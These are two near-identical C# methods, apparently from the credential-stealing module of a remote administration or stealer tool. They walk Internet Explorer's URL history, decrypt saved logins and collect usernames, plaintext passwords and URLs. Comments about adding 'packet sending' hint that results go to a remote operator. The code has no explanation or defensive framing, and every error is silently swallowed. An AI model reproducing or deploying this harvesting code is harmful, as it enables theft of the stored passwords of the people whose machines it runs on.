public IEnumerable <RecoveredAccount> ReadAccounts() { List <RecoveredAccount> data = new List <RecoveredAccount>(); try { using (ExplorerUrlHistory ieHistory = new ExplorerUrlHistory()) { List <string[]> dataList = new List <string[]>(); foreach (STATURL item in ieHistory) { try { if (DecryptIePassword(item.UrlString, dataList)) { foreach (string[] loginInfo in dataList) { data.Add(new RecoveredAccount() { Username = loginInfo[0], Password = loginInfo[1], Url = item.UrlString, Application = ApplicationName }); } } } catch (Exception) { } } } } catch (Exception) { } return(data); }
public static List <RecoveredAccount> GetSavedPasswords() { List <RecoveredAccount> data = new List <RecoveredAccount>(); try { using (ExplorerUrlHistory ieHistory = new ExplorerUrlHistory()) { List <string[]> dataList = new List <string[]>(); foreach (STATURL item in ieHistory) { try { if (DecryptIePassword(item.UrlString, dataList)) { foreach (string[] loginInfo in dataList) { data.Add(new RecoveredAccount() { Username = loginInfo[0], Password = loginInfo[1], Url = item.UrlString, Application = "InternetExplorer" }); } } } catch (Exception) { // TODO: Add packet sending for error } } } } catch (Exception) { // TODO: Add packet sending for error } return(data); }